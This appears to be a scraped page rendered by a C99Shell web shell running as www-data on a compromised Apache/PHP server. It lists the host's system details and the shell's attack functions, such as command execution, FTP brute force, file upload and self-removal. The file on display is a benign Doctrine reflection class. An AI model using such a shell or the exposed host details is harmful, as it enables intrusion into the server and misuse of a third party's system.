!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/doctrine/reflection/lib/Doctrine/Common/Reflection/   drwxrwxrwx
Free 13.09 GB of 57.97 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RuntimePublicReflectionProperty.php (1.59 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Common\Reflection;

use 
Doctrine\Common\Proxy\Proxy;
use 
ReflectionProperty;

/**
 * PHP Runtime Reflection Public Property - special overrides for public properties.
 */
class RuntimePublicReflectionProperty extends ReflectionProperty
{
    
/**
     * {@inheritDoc}
     *
     * Checks is the value actually exist before fetching it.
     * This is to avoid calling `__get` on the provided $object if it
     * is a {@see \Doctrine\Common\Proxy\Proxy}.
     */
    
public function getValue($object null)
    {
        
$name $this->getName();

        if (
$object instanceof Proxy && ! $object->__isInitialized()) {
            
$originalInitializer $object->__getInitializer();
            
$object->__setInitializer(null);
            
$val $object->$name ?? null;
            
$object->__setInitializer($originalInitializer);

            return 
$val;
        }

        return isset(
$object->$name) ? parent::getValue($object) : null;
    }

    
/**
     * {@inheritDoc}
     *
     * Avoids triggering lazy loading via `__set` if the provided object
     * is a {@see \Doctrine\Common\Proxy\Proxy}.
     *
     * @link https://bugs.php.net/bug.php?id=63463
     */
    
public function setValue($object$value null)
    {
        if (! (
$object instanceof Proxy && ! $object->__isInitialized())) {
            
parent::setValue($object$value);

            return;
        }

        
$originalInitializer $object->__getInitializer();
        
$object->__setInitializer(null);
        
parent::setValue($object$value);
        
$object->__setInitializer($originalInitializer);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--